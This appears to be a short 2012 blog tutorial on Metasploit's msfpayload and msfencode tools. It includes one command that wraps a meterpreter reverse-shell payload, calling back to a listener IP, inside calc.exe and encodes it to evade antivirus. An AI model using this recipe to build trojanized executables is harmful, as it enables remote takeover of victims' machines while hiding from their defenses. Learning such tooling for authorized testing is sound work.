2/27/12

MsfPayload and MsfEncode

Msfpayload is one of the many great tools included with the Metasploit Framework. It can be used to create customized payloads. To run Msfpayload, first select one of the many payloads included in the framework. Then provide the parameters for the payload and the output format you want it to generate, and it will create a customized payload for you. You can take the resulting file and include it in your own exploits written in C, Ruby, Perl, Java or other languages.


Msfencode is a useful tool that alters the code in anexecutable so that it looks different to antivirus software but will still run thesame way. Much as the binary attachment in email is encoded in Base64,msfencode encodes the original executable in a new binary. Then, when theexecutable is run, msfencode decodes the original code into memory and exe-cutes it


Implementation

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.43.128 R | ./msfencode -t exe -x calc.exe -k -o calc_backdoor.exe -e x86/shikata_ga_nai -t c


No comments:

Post a Comment

Slack Space

Slack space is a form of internal fragmentation, i.e. wasted space, on a hard disk. When a file is written to disk it’s stored at the “begin...